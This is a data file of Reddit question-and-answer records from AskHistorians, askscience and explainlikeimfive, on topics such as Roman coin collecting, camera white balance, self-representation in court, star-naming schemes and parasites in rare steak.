{"q_id": "4kr6rq", "title": "Do we have any accounts of people in ancient Roman times collecting coins the way we do today?", "selftext": "Given all the different coins minted during the reigns of different emperors and their large area of circulation, I can't help but wonder if there were individuals who sought out coins of different emperors the way we do today. Were the Romans known to collect things like this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4kr6rq/do_we_have_any_accounts_of_people_in_ancient/", "answers": {"a_id": ["d3herqk"], "score": [10], "text": ["Yes! There certainly were ancient coin collectors. One of the best known was Augustus who kept coins as curios for himself and gave them out as gifts (what better gift than money right?). Coin collecting is known as the hobby of kings because so many had royal coin cabinets which displayed coins. One way that we are able to identify coin collections from just hoards are the wide variety of coins found."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "25vu1r", "title": "How does camera automatic white balance work?", "selftext": "Camera white balance seems like an impossible problem. Some colours may predominate in the scene, and trying to balance the picture overall could severely skew colours. There may not be any white in the scene. In any case, how can a camera tell the difference between an unbalanced white and something that is really beige?\n\nDespite all this, cameras can do a decent job. Only scenes where one colour totally dominates end up with a visible opposite colour cast.\n\n\nI know some cameras can be calibrated by pointing them at something white, but I'm not asking about that. I'm just wondering why some cameras can give decent results if I just enable automatic white balance and take pictures in various conditions.\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25vu1r/how_does_camera_automatic_white_balance_work/", "answers": {"a_id": ["chlc60t"], "score": [2], "text": ["The sensor all by itself does not do much; you can only improve the camera sensor only so much and by that you only increase it's aperture and hence you let more light come in; more light coming in = more detail in the image (in other words 'sharper') but that does not help with the color balance. Now the general color balance improvement techniques use various techniques that involve statistics, the paper [[here]](_URL_0_) by Fynlayson et al explains a bit the methods used but TL;DR you take a lot of statistical metrics of the image taken (and maybe even take a couple of consecutive images and get statistics from them as well). Then you process the said metrics and you try to normalize them in order to archive a more uniform distribution of the said metrics. That usually improves the image quality (and in turn white balance)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www2.cmp.uea.ac.uk/Research/compvis/Papers/FinHorHub_PAMI01.pdf"]]}
{"q_id": "15sjmf", "title": "What are some great ancient structures that survived to today and can be visited (Greece/Italy)", "selftext": "Hi Historians,\n\nI am originally from Greece (actually in Athens right now) and have a medium layman's knowledge of antiquity. I would like to visit some of the \"hidden gems\" of ancient ruins in Greece or Italy and learn a little bit about them.\n\nObviously there is the Parthenon and all the ruins in Athens city (Agora etc) and I've been to the equivalents in Rome (Colloseum, fora etc). What are some little known gems of ancient buildings that someone should visit and do you have any interesting anecdotes that would make someone want to see them differently.\n\nI am sorry if this is not the right place for the question - if this is the case then point me to the right direction, please. Also if archaeological sites are open tomorrow in Athens I may visit a place! Last day in Greece for a while :(\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15sjmf/what_are_some_great_ancient_structures_that/", "answers": {"a_id": ["c7pi77m", "c7pkojr", "c7q7dm6"], "score": [4, 3, 2], "text": ["I went to Greece and the ruins of Ephesus about five years ago.  The Ruins of the Oracle of Delphi were incredible, probably my favorite place.  The temple of Poseidon was also beautiful and impressive structure with great scenery.  Mykonos was ok, Santorini was obviously beautiful.  Ephesus was really cool as well, but not in Greece.  Probably my second favorite was Rhodes.  The huge castle gates are very well preserved and right on the beach and the streets are paved with smooth stones from the ocean.  ", "Visiting Venice is a must if you're going to Italy. Allah, check out Pompeii.", "If you can, go to Turkey.  Many of the ruins there are incredibly well preserved (some argue even better preserved than those in actual Greece) and there are some amazing places.  I would check out Pamukkale and even more so, Ephesus.  Ephesus has a lot of cool places including the Library of Celsus and the remains of Temple of Artemis, one of the 7 Ancient Wonders of the World is at the edge of the city.  You also get an idea of where the coastline used to be over 2000 years when visiting the city.  All around a really cool place.  The remains of Troy are also in Turkey, though I have heard they are not as well preserved as many of the other places, but I can't personally attest to that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "50dbv3", "title": "[Physics] Are there metals with a negative coefficient of thermal expansion?", "selftext": "Hey guys,\n\nI have already heard of certain materials that have a negative coefficient of thermal expansion. But are there any metals that shrink when exposed to higher temperatures?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/50dbv3/physics_are_there_metals_with_a_negative/", "answers": {"a_id": ["d73g1ba"], "score": [3], "text": ["You're in luck, [a good review article](_URL_0_) on this subject is freely available from IOP Science. It explains the three known mechanisms which result in negative thermal expansion. One of these is a lattice distortion effect in materials exhibiting a so-called 'flexible network'. The second is an effect where the atomic radii of constituent atoms are changing due to charge exchange where some atomic radius expansion occurs for electron-accepting atoms while some contraction occurs for electron-donating atoms. The net effect can be either positive or negative depending on which atomic radius is more sensitive to the charge exchange. The third effect is the so-called magnetovolume effect,  where the magnetic moments that arise from electronic structure changes give rise to inter-atomic constriction, and a purely magnetic volume expansion. This is the mechanism most commonly found in metals, such as the so-called [Invar family](_URL_1_) of ferrous alloys. I think all Invar type alloys exhibit some sort of thermal expansion anomalies (i.e a region of negative expansion coefficient) over some region of temperatures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://iopscience.iop.org/article/10.1088/1468-6996/13/1/013001", "https://en.wikipedia.org/wiki/Invar"]]}
{"q_id": "80ahix", "title": "why is it so unlikely to represent yourself and win in court even if you are clearly in the right?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/80ahix/eli5_why_is_it_so_unlikely_to_represent_yourself/", "answers": {"a_id": ["duu78j4", "duu7j8j", "duu925o", "duudj2x", "duuf58k", "duummnf", "duuxc38", "duuyaml"], "score": [94, 61, 6, 3, 416, 26, 7, 5], "text": ["Because you aren't experienced in how the legal system works and you are too emotionally invested in the case. It's like trying to do surgery on your dying kid without any experience.", "Assuming you aren't a pilot, imagine how unlikely it would be to take off, fly to your destination, and successfully land a plane you were completely unfamiliar with. You know where you are on the map, and where you want to go, and the exact path you need to follow, but none of that matters because the formalities of operating the system are completely alien to you.\nMatters of form which are completely un-intuitive and indeed deliberately obfuscatory are integral to legal proceedings.", "Because often what is right is not what is legal. Plus, there's all the nuances and technicalities and precedent and locations in every aspect of the law. You also have to prove your case beyond 100% of why you are in the right. Also depends on if your talking about criminal VS civil law.\n\nYou would have to go into case studies at this point to learn more of the differences and reasons. If you have a specific scenario, I can break the issues down further. ", "It is not uncommon for people to represent themselves without a lawyer to help in places like small claims courts.\n\nOutside of that it is generally a bad idea. If you are not a lawyer you may not understand what point you are supposed to argue and how to do so. Even if you are a lawyer it may not be your specialty and even if it is your specialty having a different lawyer do the work is still a good idea, because you may not do your best work when it is your own case you are trying to argue.", "Lawyer here:  \n\nHere's a real simple example.  You come to court to sue a guy for smashing your car with a bat.  Best part is, you've got him dead to rights--you have a video of him smashing your car with a bat.  It was captured by your neighbour's surveillance camera.  \n\nAnd you lose, because the court won't accept your video.\n\nWhy?  Well, in my area to admit a video you need to authenticate the video--ie, to show that it's accurate, that it hasn't been tampered with, to tell the court what it is (ie, that this is a surveillance camera that points to the street and not a staged film or whatever), and so on.  \n\nNow, you can try to testify about those things, except that it'd be hearsay, because it wasn't your camera, and you just got it from your neighbour.\n\nA lawyer would spot this issue right away and solve it.  ", "u/varsil has a good comment, but I want to offer another answer as well.  The example he has offered is actually one that is possible to \"fix\".  There are a lot of jurisdictions that have courts for small value disputes where the rules of evidence are relaxed and the assumption is we don't have to worry about some kind of hollywood budget digital fakery of evidence because you wouldn't spend 100K to doctor a video for a 10K lawsuit.  Also, assuming this isn't a jury trial, the simple fact video exists - even if not admitted into evidence - can't help but weigh on the judge's mind.  You can still testify that you saw your neighbour beat up your car, or that he said he was going to get you and then the next day your car was beat to hell.  He might deny doing it on the stand but a smart judge would probably look at him and say \"Mr. So and so, I want you to understand something.  Perjury is a crime, you don't pay a fine for it, you go to jail.  If you are testifying today that you didn't hit his car then you can, but I am going to take this tape, that wasn't admitted into evidence today, and I am going to give it to the police officers here and ask them to investigate it and if it turns out the tape is real I can promise you that you are going to be charged with a crime for your testimony today.  People do not get away with lying in my courtroom.  Do you understand that?\"  \n\nThe real issue, as I see it (and nothing against the truth of the comment more generally), goes to paperwork, timelines, and court process.\n\nEven a fairly simple case is going to have at least seven or eight really important deadlines associated with it that the average person will know absolutely nothing about.  You will need to prepare and file paperwork using the court's forms (which are generally not easy to fill out and easy to make a mistake on), and often you will try to file something, have it rejected, amend it, try to file it a second time, and have it rejected again.  This is a frustrating process and a lot of people just kind of give up on it after a while (whether they drop the case or hire a lawyer).  \n\nOr you have a deadline, you know about the deadline, and you go to file your paperwork on the last day only to have it rejected by the court for a technical problem with it.", "Criminal attorney here:\n\nIt happens more than you would think, and it actually doesn't go *as* badly as you'd imagine. \n\nOn lower level cases like traffic and little misdemeanors, people actually give it a shot.\n\nIn my experience people who represent themselves fall into two categories: people who don't trust the public defenders, and the mentally ill.\n\nThe former group tends to do...ok.  A few jurisdictions have *excellent* public defenders, but the sad truth is most...don't. So people wing it. In my experience, judges and prosecutors effectively \"take it easy\" on these clients. Although the judge reads out a lengthy warning saying that no one will take it easy, in practice, everyone takes it easy. Rules of evidence are kind of...relaxed, and everyone kinda gives the person \"hints\" on what to do. \n\nI've actually seen some people do pretty alright for themselves. Again, I'm talking traffic tickets and jaywalking level stuff here. \n\nSadly, the BIGGEST group of people who represent themselves are mentally ill. It's sad. They're in the system because of their mental illness, they refuse assistance because of their mental illness, and they do a poor job representing themselves because of their mental illness. \n\nThe worst part is that this group doesn't really care about what they're charged with. They'll try to go it alone on a murder just as quickly as a parking ticket. \n\nJust wanted to give some background, but short answer is: knowledge of rules of evidence, and years of experience knowing how to be verbally persuasive to a judge and jury. That's what you get with a lawyer. ", "Actually, in small claims court (in my state for claims under $5k), you're not allowed to have a lawyer.  So, in those cases, someone wins (and loses) every time without a lawyer  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "ehjtkp", "title": "Is there any real-world historical bqckground for the \u201claw of surprise\u201d tradition shown in The Witcher?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ehjtkp/is_there_any_realworld_historical_bqckground_for/", "answers": {"a_id": ["fcjy1oq"], "score": [294], "text": ["Would you mind clarifying what the \u201claw of surprise\u201d is?  That may help you get an answer from someone with the requisite specialty but who hasn\u2019t seen the show."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "497xsz", "title": "apparently, you can buy a star and name it whatever you like, who owns these stars to sell them in the first place?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/497xsz/eli5_apparently_you_can_buy_a_star_and_name_it/", "answers": {"a_id": ["d0potve", "d0pov1p", "d0ppjqi", "d0pqg3f"], "score": [72, 10, 31, 4], "text": ["It's a scam,  basically. Nobody owns those stars. They charge you to put your name on a list but it doesn't actually mean anything.  \n\nI suppose you might make the name stick if you pass it down to an ancestor who eventually colonises a planet round that star. ", "You are simply buying whatever plaque or paperwork they give you. The official name of the star is a number code relating to the group it's in.", "It's important to point out that nowhere do they say \"you can buy a star.\" They say you can *name* a star and that they'll record the name in an official registry.\n\nBy the same logic, I could have a business-naming registry. Pay me $50 and pick a building in your city. Name it what you want and I'll give you a piece of paper that says the building most people call Sears Tower is now named \"bumblefuck sandwich,\" or whatever. I'll keep a piece of that paper in my \"official registry.\"\n\nNaming only matters if *other people* recognize the name assigned. I don't own \"bumblefuck sandwich\" any more than I own the Sears Tower. Also, naming like that carries no legal weight in any way.", "The IAU is the only organization recognized to officially name stars.  There are *trillions* of stars so most of their names are informational and help someone find the Star. Some exceptions for very bright and visible stars have traditional names from ancient times.  There is no official way to request or purchase a star name and any company that claims to offer such a service simply sends you a fancy plaque and hopes you never actually find out."]}, "title_urls": [], "selftext_urls": ["http://www.star-registration.com/ca/?gclid=CjwKEAiAx--2BRDO6q2T84_a52YSJABWAbfrJIRG2ou6-saI49702A1dy_EIOdc5peM0rwKCPAkbRBoCJQjw_wcB"], "answers_urls": [[], [], [], []]}
{"q_id": "36v2rr", "title": "I was watching the movie Inglorious Bastards, and I wondered, are there any documented cases in which a family in a German occupied area were caught hiding Jews during the holocaust? If so, what was their punishment?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36v2rr/i_was_watching_the_movie_inglorious_bastards_and/", "answers": {"a_id": ["crhe8i4"], "score": [6], "text": ["Well one of the most famous examples would be Anne Frank; and yes, there are seemingly endless examples of people hiding Jewish persons and being discovered or denounced. \n\nThe family holding Anne Frank, for example, was denounced and raided by German police. The families hiding there were all deported, those of Jewish descent to various labor or death camps, and the rest sentenced to hard labor. Of course, punishments varied, summary execution and purging was not uncommon, as the Germans made very little effort to distinguish between Communists, Jewish persons and Partisans. The results appear to be mixed and certainly racially or politically motivated; if you were a Jew, deportation or eventual death was almost guaranteed. A partisan; similar. A collaborator or hider could be held by the Gestapo, executed, made a political prisoner or forced into hard labor. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56md86", "title": "What exactly were the relics on which Harold Godwinson swore his oath to William of Normandy?", "selftext": "Every account I've read just says he swore on relics but doesn't elaborate, beyond maybe that they were most holy and sacred. Does history relate exactly what or whom the relics were? Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/56md86/what_exactly_were_the_relics_on_which_harold/", "answers": {"a_id": ["d8ks0sy"], "score": [21], "text": ["The exact nature of the relics is not specified in the most reliable contemporary sources. According to Orderic Vitalis \u2013 an Anglo-French monk who was writing more than half a century later, but who had been brought up in a Norman monastery \u2013 Harold swore on *super sanctissimus reliquias juraverat*, generally translated as \"saint's relics\". Anglo-Saxon sources from the 1060s are completely silent on the subject, however, and it's as [possible to argue](_URL_0_) that the entire story of Harold's oath was an invention of the Norman propaganda machine, used to justify William's invasion, as it is to suppose that the Saxon chronicles deliberately suppressed an incident discreditable to one of their own. Elizabeth van Houts, in her 1992 edition of William of Jumieges's *Gesta Normannorum Ducum*, argues that the entire story is based on a single, official, Norman account, drawn up to be presented to the Pope in order to justify and seek approval for the invasion. Even Norman sources suggest there was an element of deception involved - that Harold only realised too late the holyness of the oath he'd sworn because the presence of the relics was concealed from him.\n\nThat said, some later sources are more specific. The *Brevis Relatio*, written by a monk of Battle Abbey around 1130, the *Warenne Chronicle* (about 1157) and Wace (a canon at Bayeux), writing after 1155, say one of the reliquaries was the \"ox eye\" or \"bull's eye\". Wace's passage says that William \"ordered that all the holy relics be assembled in one place, having an entire tub filled with them; then he ordered them covered with a silk cloth so that Harold neither knew about them nor saw them, nor was it pointed out to him. On top of it he placed a reliquary, the finest he could choose and the most precious he could find; I have heard it called 'ox-eye'.\" Apparently this was because the centre of the reliquary was an elaborate mounting for a magnificent gemstone.\n\nIf this identification is accepted then the relics may have been those of St Pancras, which the Warenne Chronicle explicitly identifies with the ox-eye reliquary. Pancras, a Roman citizen of Diocletian's reign, was especially venerated in England because St Augustine had been despatched from Rome bearing some of his relics when he was sent to convert the Saxons. However, the cult of St Pancras was unknown in Normandy, which perhaps suggests that Warenne was wrong, and implies that it was more likely that any oath was sworn on locally venerated relics. \n\nIf so, then much depends on where exactly an oath may have been sworn. There is no agreement on this point. Orderic says Rouen, William of Poitiers says Bonneville-sur-Toques, and the Bayeux Tapestry puts it in Bayeux. Stephen D. White, in his \"Locating Harold's oath and tracing his itinerary\" in Pastan and White [eds] *The Bayeux Tapestry and its Contexts*, takes this latter identification and uses it to suggest that the most likely candidate is the bones of Saints Rasyphus and Ravennus. He argues that Duke William's brother, Bishop Odo of Bayeux, is known to have commissioned a new reliquary to hold these c.1050 which can be identified with the image of the reliquary shown on the Bayeux Tapestry. \n\nHowever, Odo's name is not associated with this stage of the tapestry narrative, meaning it's difficult to establish who exactly selected the reliquaries for any oath that was sworn. There's no way to be certain, but if the incident occurred, and if it occurred at Bayeux, then most likely Odo would have been involved. As such, White's identification, while it must be considered tentative, is certainly not implausible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.academia.edu/5279734/_The_Myth_of_Harold_Godwineson_s_Oath_to_William_of_Normandy_at_the_24th_Annual_New_England_Medieval_Studies_Consortium"]]}
{"q_id": "3sd13s", "title": "do the green parts of plants that aren't leafy also photosynthesize, or is that exclusively left up to the leaves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sd13s/eli5_do_the_green_parts_of_plants_that_arent/", "answers": {"a_id": ["cww5mfd"], "score": [2], "text": ["Relatively any green part of a plant will photosynthesize, however, some parts make use of the light more efficiently (e.g. the palisade parenchyma layer in a leaf cell's upper epidermis photosynthesizes very efficiently, compared to the spongy mesophyll layer further down in the cell). \n\nThe reason for which a particular part of a plant appears green is because it contains chloroplasts. Chloroplasts are the organelle in a plant cell responsible for the process of photosynthesis, and therefore, any part of the plant that is green should photosynthesize, aside from a few exceptions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3gxql3", "title": "there's this document on the fbi website that seems to confirm ufo stuff. what's going on?", "selftext": "_URL_0_\n\nIf it really is some declassified document that reveals the existence of aliens, I'm sure it would have been all over the news, and I would have first heard about it from somewhere other than a Minecraft mod developer's Twitter account. So that seems unlikely. So what's this document referring to?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gxql3/eli5_theres_this_document_on_the_fbi_website_that/", "answers": {"a_id": ["cu2ftwd", "cu2ybwj"], "score": [27, 5], "text": ["There were many theories discussed, in response to many reports sent into the FBI.  The \"What should we do if this turns out to be real?\" question is a reasonable one, without there ever needing to be aliens.", "UFO's are 100% REAL. It is a fact.\n\nNow, before you start lashing out at me. I want you to remember what UFO stands for. As of today, there is still not one scientific piece of evidence to show that we have been visited by aliens. "]}, "title_urls": [], "selftext_urls": ["https://vault.fbi.gov/UFO/UFO%20Part%201%20of%2016/view#document/p22"], "answers_urls": [[], []]}
{"q_id": "rlwdg", "title": "When scientists say that ~99.9% of all species that ever existed are now extinct, does that include microorganisms or just multicellular life?  How accurate is this estimate of extinction?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rlwdg/when_scientists_say_that_999_of_all_species_that/", "answers": {"a_id": ["c46vzst", "c46wwb3"], "score": [10, 7], "text": ["The question of how many species exist today is difficult to answer, but the latest research suggests the number of eukaryotes is [somewhere around 8.7 million](_URL_3_).  \n\n[Another study](_URL_0_) notes that \"by the DNA\u2013DNA hybridization measure, a single bacterial species can be as diverse as an entire vertebrate order. This must be partly why the total number of bacterial species recognized is only in the thousands versus millions for animals\".  \n\nThus, our best guess about the number of species currently extant is probably somewhere in the millions.  \n\nThe 99.9% estimate most likely came from [Raup](_URL_2_), who stated that there are \"possibly as many as forty million\" different species of animals and plants on earth, but \"somewhere between five and fifty billion species have existed at one time or another\"...\"thus, only about one in a thousand species is still alive\".    \n\nI think the estimate is sometimes attributed to [Prothero](_URL_1_), too:\n\n >  If 5 to 50 billion species have lived on this planet, but only about fifty million are alive today, then 99.9% of all species that have ever lived are now extinct. ", "Probably just referring to multicellular life.  We aren't even sure what a species is for bacteria (there's even some question about whether the whole idea of species even applies to bacteria the way it applies to animals and plants).  Anyway, the only way you could come close to estimating that is with fossils.\n\nIt's mostly just a guess, I'd say, but it's certainly correct to within 1%.  The huge majority of all species ever are extinct, regardless of the exact amount.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://genome.cshlp.org/content/19/5/744.full", "http://books.google.com/books/about/Bringing_fossils_to_life.html?id=4MATAQAAIAAJ", "http://books.google.com/books?id=8klou91MwJoC&amp;dq", "http://www.plosbiology.org/article/info%3Adoi%2F10.1371%2Fjournal.pbio.1001127"], []]}
{"q_id": "3axnvo", "title": "Why did Nietzsche particularly dislike the protestant version of Christianity so much?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3axnvo/why_did_nietzsche_particularly_dislike_the/", "answers": {"a_id": ["csgzfmt"], "score": [32], "text": ["This might be more well suited to /r/askphilosophy, but as a flaired user there I'll venture to give a short answer here. \n\nThe *historical* answer to this question is twofold, centring first around Nietzsche's upbringing and secondly his distaste for Germany (esp. with regards to the German nationalism of his time). In the first dimension, Nietzsche was famously raised in a particularly pious environment, his father a Lutheran Pastor, who died very young when our young Freddy was still 4 years old. His break with Christianity in his youth was interpreted by him as a great liberation from this tyrannical setting, for \"even as a child\", he writes that he was \"too curious, too incredulous, too supercilious to put up with a rude and crude answer\" (that is, Christianity/God), E.H. *Why I Am So Clever* I. \n\nSecondly, Nietzsche was contemporaneous with a German nationalistic revival that started with Bismarck, and had a firm aversion towards the entire enterprise-- styling himself constantly as a \"European\" rather than a German, and hurling (often tongue-in-cheek) insults towards Germans and Germany. Part of his break with Wagner can be attributed to this, and in *The Case of Wagner* he claims (ironically) to prefer the French composer Bizet to the nationalistic Wagner, when the depreciation of French music (and the promotion of German music) was in vogue at the time. The meaning of his attack on Germany is found in *The Gay Science* (Aph. 377): \" the word \"German\" is constantly being used nowadays, to advocate nationalism and race hatred and to be able to take pleasure in the national scabies of the heart and blood poisoning that now leads the nations of Europe to delimit and barricade themselves against each other as if it were a matter of quarantine...\" To return this back to the question, we must not forget that Bismarck, and the rulers of Prussia (now the rulers of Germany, e.g. his namesake Friedrich Wilhelm IV of Prussia, who was succeeded by the Lutheran first Emperor of Germany William I), was Lutheran, and so it was only natural for him to associate the two together.\n\nHis *philosophical* dislike of Protestantism does not belong so much in this forum, but can be largely and summarily attributed to his philosophical project against *ressentiment* and life-denial, which found a strong foothold in the pietist, rigoristic, and dualistic strands of his contemporary Protestantism. Furthermore, his campaign against the straightjacket of morality found no better target than the firmly conscientious, often puritanical, ethics of Lutheranism, or even more broadly those of mainline continental Protestantism. \n\nSources:\n\nNietzsche, esp. *Ecce Homo*; *Case of Wagner*; *Genealogy of Morals*; *The Will to Power*\n\nWalter Kaufmann's *Nietzsche*\n\n[SEP Article on Nietzsche](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://plato.stanford.edu/entries/nietzsche/"]]}
{"q_id": "26vl96", "title": "Which sense came first evolutionarily, and what is the order that the rest came in?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26vl96/which_sense_came_first_evolutionarily_and_what_is/", "answers": {"a_id": ["chuxaly", "chv0ywt"], "score": [16, 8], "text": ["It is tough to say but the most evolutionarily conserved sense is that of mechanical sensation I.e. Touch. A good example is that seen in E. Coli, they have mechanosensation channels called MscL and MscS. Whether it can really be called a sense I don't know. As to the other senses I would guess smell came next but after that I don't know. \n\nEdit: for the first sensation experienced it is even more tricky but early evolution of the brain seems to favour olfactory processing from what I can find so smell is as good a guess as any. ", "Bacteria can respond to very, very, very small changes to the chemical composition of their environment. This could be likened to a sense of smell but that depends on whether you want to count a 'sense' that's not interpreted by a central conciousness. \n\nSimilarly the early land plants had the ability to grow towards light, but is it a 'sense' if it's an automated response to a stimulus? The word 'sense' has connotations of conscious perception and interpretation and so I would be reluctant to label anything as a 'sense' unless there is some sort of information processing at work. \n\n_URL_0_  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.news.cornell.edu/stories/2006/05/researchers-discover-how-bacteria-sense-their-environments"]]}
{"q_id": "g4co7", "title": "What are some (if any) phenomena/happenings in the universe that we have theorised very little or not at all about?", "selftext": "I am aware that there is a plethora of theories about an immense amount of things that have not yet been proved.\n\nAre there any 'things' that have essentially not even been theorised about?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g4co7/what_are_some_if_any_phenomenahappenings_in_the/", "answers": {"a_id": ["c1kt8kp"], "score": [16], "text": ["Not really. There are questions that are not yet definitively answered, but it's a rare thing indeed that is observed completely unexpectedly. Physicists \u2014 be they Nobel laureates, graduate students or just interested laypeople \u2014\u00a0are world-class experts at making guesses about things, so nothing that starts out unexplained remains un-theorized-about for very long.\n\nThe best example of this I can think of right now is the discovery of the first pulsar, back in the 1960s. A series of periodic radio emissions of *astonishing* regularity were observed, and everybody was completely baffled. The source of those emissions was even dubbed \"LGM-1,\" short for \"little green men,\" in a tongue-in-cheek mockery of the observation's unusual characteristics. But it wasn't very long before the nature of that object became clear, and the number of known ones is now in excess of a thousand. One of them was used by Hulse and Taylor to prove that gravitational radiation is a real phenomenon and not just a quirk of the maths of general relativity. They're really quite mundane, if interesting, objects now, despite the mysterious circumstances of their discovery.\n\nThe discovery of anomalous galactic rotation curves and cosmological homogeneity and isotropy were both surprises, but neither one was ever a *complete* mystery. Both of those basically played out like, \"Huh, *X* is true. That means something like *Y* or *Z* must also be true, so let's start theorizing about those.\" And theories about them started emerging in just minutes, relatively speaking, with experiments designed to put them to the test just minutes after that.\n\nIf anything, the theorists generally are several steps ahead of the experimentalists these days. We have theories in all branches of physics coming out our ears, but our ability to test those theories experimentally is constrained by the high energies or large scales involved. For instance, there's a widely \u2026\u00a0well, not widely *accepted* yet, but how about \"widely agreed to be promising\" idea called supersymmetry, which says that the particles we've directly observed are just a subset of all the particles that exist in nature. But one consequence of this idea is the fact that superpartners, if they exist, will be very difficult to detect, so the fact that we've never yet observed them directly isn't seen as evidence of a weakness in the theory.\n\nAnother good example of the same basic idea is the now-famous Higgs boson, a particle that's predicted by the Standard Model of particle physics but that has not yet been observed. This isn't unprecedented at all; the weak bosons, mediators of the weak interaction, were predicted theoretically in the 1960s, but weren't detected until the 1980s. That's not because we didn't know where to look for them, or didn't find them where we expected to. It's just because it took some years for the experimentalists to figure out how to \u2014 and obtain the funding to! \u2014\u00a0build an experimental apparatus that could detect them. So again, the fact that the Higgs has not been observed doesn't suggest any problem with the theory. If we look for it for another decade and still find no evidence of it, *then* there may be reason to suspect a problem with the theory.\n\nAnother example: There's more matter than antimatter in the universe. Since we know *some* of the ways in which energy can become matter and antimatter, and all of the known ways are symmetric \u2014\u00a0producing both matter and antimatter in equal proportion \u2014\u00a0then there must exist some unknown process that's slightly asymmetric, on the order of one part in a billion or so. This process has not yet been discovered, but theories about it abound.\n\nYet another example: It's known that galaxies rotate in such a way as to betray the existence of large, diffuse halos of gravitating matter. It's also known what properties this matter must have in order to be where we know it must be: It's got to be quite exotic by ordinary standards. As yet, we don't really know what this stuff is. We know where it is, and we know how it acts, and that lets us make some guesses about how to detect it and where in the big picture it fits, but the details are still being narrowed down.\n\nPossibly the best example of all: The universe exists! This is quite a mystery! It's easy for us to imagine \u2014\u00a0though it may not actually be a valid idea \u2014\u00a0that the universe doesn't *have to* exist, or that it doesn't have to exist the way it does. Whether the universe exists as we observe it for fundamental and inevitable reasons or whether it's just how things happened to work out is an open question, and it's not really reasonable to expect that it will be answered in any satisfactory way in our lifetimes. But we add to the jigsaw puzzle one little piece at a time, and wonder just what the whole thing will tell us once it's assembled \u2026\u00a0assuming there's a finite number of pieces, of course, which is not actually known to be true."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4bbugt", "title": "how can we eat rare steaks yet not get any parasites? wouldn't a parasite survive in a rare steak?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bbugt/eli5_how_can_we_eat_rare_steaks_yet_not_get_any/", "answers": {"a_id": ["d17pyt3", "d17qq0c", "d17rb6k", "d17vdav"], "score": [6, 138, 19, 3], "text": ["My stomach is actually kind of weak, I can't really have a steak unless it's at least medium rare.", "Beef are denser meat than most other meats. On steaks, parasites cannot penetrate past the surface. Cooking the surface is enough to kill whatever bacteria is on it. However, if the beef is ground up, it is generally a better idea to fully cook it, as now, the once-surface of the beef is mixed up with the rest of the meat. It's also became a more porous meet.\n\nLikewise, other meats like chicken and pork are considered to be porous meats and the likelihood of bacteria getting past the surface is much greater. This is why chicken and port cannot be consumed rare.", "The comments so far address the fact that bacteria don't penetrate inside the meat. They are true, but don't really address the issue of parasites in the meat. Here is a reference for more information on parasites in meat: \n_URL_0_\n\nThe short answer is that we don't eat beef infected with parasites. The beef is inspected, and if it looks diseased, it never makes it to the grocery store. A lot of meat is also frozen prior to being cooked. Many parasites don't survive being frozen. (Freezing is an important step in the process for eating wild salmon sushi.)\n", "I've seen a lot of wrong info ITT so far, ranging from people comparing bacterias to parasites, that parasites cannot penetrate into the muscle tissue and therefore it would be enough to sear the surface to kill all parasites to those saying that our meat simply doesn't have any parasites anymore, because it's being controlled.\n\nA lot of parasites can be transmitted through meat and while most of them are indeed being recognized during controls, some are still present in the meat we buy and consume every day, the most famous being [Toxoplasma gondii](_URL_0_) which causes toxoplasmosis. While mostly harmless in adults (although it has been linked to social behavior changes, like the willingness to take more risks), it is extremely dangerous to pregnant women, as getting infected during pregnancy can lead to a still birth. \n\nIt is transmitted through uncooked meat and cats (cat litter to be precise), as the cat is the parasites primary host. Around 23% of Americans are infected, but the percentage is even higher in other parts of the world, like France, where eating raw or undercooked meat is more common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.cabdirect.org/abstracts/19980804858.html;jsessionid=6E464D1DC73E58DE6BB27AB68E5AE549"], ["https://en.wikipedia.org/wiki/Toxoplasmosis#Transmission"]]}
